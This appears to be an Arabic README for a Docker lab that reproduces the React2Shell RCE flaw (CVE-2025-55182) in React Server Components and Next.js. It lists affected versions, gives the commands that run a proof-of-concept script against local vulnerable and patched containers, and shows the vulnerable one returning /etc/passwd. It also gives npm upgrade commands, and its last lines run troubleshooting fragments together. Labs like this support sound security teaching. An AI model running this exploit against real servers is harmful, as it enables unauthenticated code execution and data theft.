مختبر قائم على Docker يعيد إنتاج CVE-2025-55182 (React2Shell)، وهو ثغرة تنفيذ تعليمات عن بُعد (RCE) دون مصادقة في بروتوكول Flight الخاص بمكوّنات خادم React، مع استغلال PoC ومقارنة بالنسخة المُرقّعة.
CVE-2025-55182 (React2Shell) هو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة بدرجة CVSS 10.0 وغير مُصادَق عليها في بروتوكول Flight الخاص بمكوّنات خادم React (RSC)، وتؤثر على حزم react-server-dom-parcel وreact-server-dom-turbopack وreact-server-dom-webpack.
git clone https://github.com/abhaybansal16/cve-2025-55182-lab
cd cve-2025-55182-lab
docker compose build
docker compose up -d
docker ps
docker compose down
| Package | Vulnerable Versions |
|---|---|
| React (react-server-dom-webpack/turbopack/parcel) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| NextJS | 14.3.0-canary.77+, 15.0.0-15.5.6, 16.0.0-16.0.6 |
يوضّح هذا المختبر الثغرة باستخدام NextJS 15.5.6 / React 19.1.0 كزوج معرّض للثغرة.
pip install requests
python3 exploit-poc.py http://localhost:3000
python3 exploit-poc.py http://localhost:3001
Status: 500
Output: root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh
Status: 404
Raw: Server action not found.
docker exec react2shell-vulnerable cat /app/package.json | grep -E '"next"|"react"'
يمكنك أيضًا استخدام إضافة wappalyzer للتحقق من الإصدار قيد التشغيل لكل من react وnext في التطبيق عبر المتصفح.
python3 exploit-poc.py <target>
404 Server Action Not Found - مُرقّعقم بالترقية إلى الإصدارات المُرقّعة
npm install [email protected] # for 13.3.x, 13.4.x, 13.5.x, 14.x
npm install [email protected] # for 15.0.x
npm install [email protected] # for 15.1.x
npm install [email protected] # for 15.2.x
npm install [email protected] # for 15.3.x
npm install [email protected] # for 15.4.x
npm install [email protected] # for 15.5.x
npm install [email protected] # for 16.0.x
npm install [email protected] # for 16.1.x
npm install [email protected] // for 15.x canary releases
npm install [email protected] // for 16.x canary releases
15.0.8, 15.1.12, 15.2.9, 15.3.9, 15.4.10, 15.5.10, 15.6.0-canary.61, 16.0.11, 16.1.5
إذا كنت تستخدم الإصدار 13.3 أو إصدارًا أحدث من Next.js 13 (13.3.x أو 13.4.x أو 13.5.x)، فيرجى الترقية إلى الإصدار 14.2.35. إذا كنت تستخدم [email protected] أو إصدار canary أحدث، فقم بالرجوع إلى أحدث إصدار مستقر من 14.x:
npm install next@14
إذا كنت تستخدم واجهات RSC غير المستقرة الخاصة بـ React Router، فيجب عليك ترقية تبعيات package.json التالية إن وُجدت:
npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
npm install داخل مجلد app أولاً، ثم أعد البناء."CredsStore": "" في ~/.docker/config.json.docker compose up -d أولاً.